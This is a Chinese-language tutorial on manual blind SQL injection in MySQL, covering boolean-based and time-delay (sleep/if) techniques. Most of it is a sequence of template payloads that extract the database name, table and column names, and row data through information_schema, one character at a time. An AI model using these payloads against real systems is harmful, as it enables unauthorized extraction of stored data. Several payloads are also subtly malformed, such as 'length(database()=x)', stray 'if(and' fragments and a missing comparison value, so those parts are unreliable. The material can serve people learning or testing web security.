初识盲注


一:布尔型手工注入:在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破。

length():返回字符串的长度
substr(str,start,len):截取“str”字符串从第“start”位开始的“len”长度的字符
ascii():返回字符的ascii码值

思路:数量>长度>具体
获取数据库名字的长度
获取数据库的名字
获取数据表的个数
获取数据表名字的长度
获取数据表名字
获取列的个数
获取列的长度
获取列的具体名字
获取数据的列数
获取数据的长度
获取具体的数据

一:对数据库的猜解

(1).
猜解数据库长度:

1
and length(database())=x

此时的x为数据库长度,此处的=可以换成>来缩小检索范围。
(2).
使用ASCII猜解数据库名

1
and (ascii(substr(database(),m,n)))=x

m为数据库名字的第m个字符,n为从第m个字符起一共读取n个字符,此处的x为ascii值


二:对数据表的猜解

(1).
猜解数据表的个数

1
and (select count(table_name) from information_schema.tables where table_schema=database()) = x

x为数据表的个数
(2).
猜解表名的长度

1
and length((select table_name from information_schema.tables where table_schema=database() limit m,n)) = x

此处的m表示从m+1个表开始读取,n表示只读取n+1个表,x表示表的长度
(3).
使用ASCII猜解表名

1
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,n),x,y)))

此处的m表示从第m+1个表开始读取,n表示只读取几个表;x为第几位字符;y:从第x位开始截取的字符长度为y


三:对列名的猜解

(1).
猜取列名的个数

1
and (select count(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') = x

x为列名的数量
(2).
猜取列名的长度

1
and length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit m,n)) = x

m为从第m个列名开始读取,n为只读几个列名,x为列名的长度
(3).
猜取列名

1
and ascii(substr((select column_name from information_schema.columns where table_name = '表名' and table_schema = '数据库名' limit m,n),x,y))=i

m为从第m个列名开始读取,n为只读取n个列名,x为第几位字符,y:从第x位开始共有几位字符


四:对于数据的猜取

(1).
猜取数据的个数

1
and (select count(*) from 表名)=x

x为数据的条数或者叫做列数
(2).
猜取数据的长度

1
and length((select 列名 from 表名 limit m,n))=x

m为第几条数据,n为从m开始一共有几条数据
(3).
猜取数据的内容

1
and ascii(substr((select 列名 from 表名 limit m,n),i,j))=x

m为第几条数据,n为从m开始一共读取n条数据;i为该数据的第i位字符,j为从第i位开始一共读取j个字符;x为该字符的ascii值


至此布尔型手工盲注全部完成

二:时间延迟型手工注入

sleep()函数:延迟mysql的执行时间
if(expr1,expr2,expr3):一般与sleep()函数进行配合使用;当if expr1为真的时候返回expr2;当if expr1为假的时候,返回expr3
length():返回字符串的长度
substr(str,start,len):截取“str”字符串从第“start”位开始的“len”长度的字符
ascii():返回字符的ascii码值

思路:数量>长度>具体
获取数据库名字的长度
获取数据库的名字
获取数据表的个数
获取数据表名字的长度
获取数据表名字
获取列的个数
获取列的长度
获取列的具体名字
获取数据的列数
获取数据的长度
获取具体的数据

在开始进行注入前我们先对此进行一个验证

1
and sleep(10)



此时发现确实是延迟了;所以我们便可以开始了


一:对数据库的猜解

(1)
猜解数据库名称的长度

1
and if(length(database()=x),sleep(y),0)

x为数据库的长度;y是你需要延迟的时间
(2)
猜解数据库的名称

1
and if(ascii(substr(database(),x,y))=m,sleep(n),0)

x为数据库名称的第几位,y是从x位开始一共截取的位数;m为ascii值,n为延迟的时间


二:对数据表的猜解

(1)
猜解数据表的个数

1
and if((select count(table_name) from information_schema.tables where table_schema=database()) = x,sleep(y),0)

x为数据表的个数,y为延迟的时间
(2)
猜解数据表的长度

1
and if(length((select table_name from information_schema.tables where table_schema=database() limit m,n)) = x,sleep(y),0)

m为第从m+1个表开始读取;n为一共读取几个表;x为该表的长度;y为延迟的时间
(3)
猜解数据表的名称

1
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,n),x,y))),sleep(i),0)

m为从第m+1个表开始读取,n为一共读取几个表;x为表的第几个字符,y为从x字符开始,一共读取几个字符;i为
延迟时间


三:对列名的猜取

(1)
猜取列名的个数

1
and if(and (select count(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名') = x,sleep(y),0)

x为列名的个数,y为延迟的时间
(2)
猜取列名的长度

1
and if(and length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit m,n)) = x,sleep(y),0)

m为第m+1个列名,n为一共读取几个列名;x为该列名的长度,y为延迟的时间
(3)
猜取列名

1
and if(and ascii(substr((select column_name from information_schema.columns where table_name = '表名' and table_schema = '数据库名' limit m,n),x,y))=i,sleep(j),0)

m为从第几个列名开始,n为一共读取几个列名;x为该列名的第x个字符,y为从第x个字符开始,一共读取y个字符,i为该字符的ascii值;j为延迟的时间


四:猜解数据

(1)
猜解数据的个数

1
and if((select count(*) from 表名)=x,sleep(y),0)

x为数据的条数,y为延迟的时间
(2)
猜解数据的长度

1
and if(and length((select 列名 from 表名 limit m,n))=x,sleep(y),0)

m为第几条数据,n为从m开始,一共有几条数据;x为该数据的长度,y为延迟的时间
(3)
猜解数据

1
and if(ascii(substr((select 列名 from 表名 limit m,n),i,j))=x,sleep(y),0)

m为第几条数据,n为从m开始一共读取n条数据;i为该数据的第i位字符,j为从第i位开始一共读取j个字符;x为该字符的ascii值,y为延迟的时间


至此时间延迟型手工注入完成

最后附上一张ascii表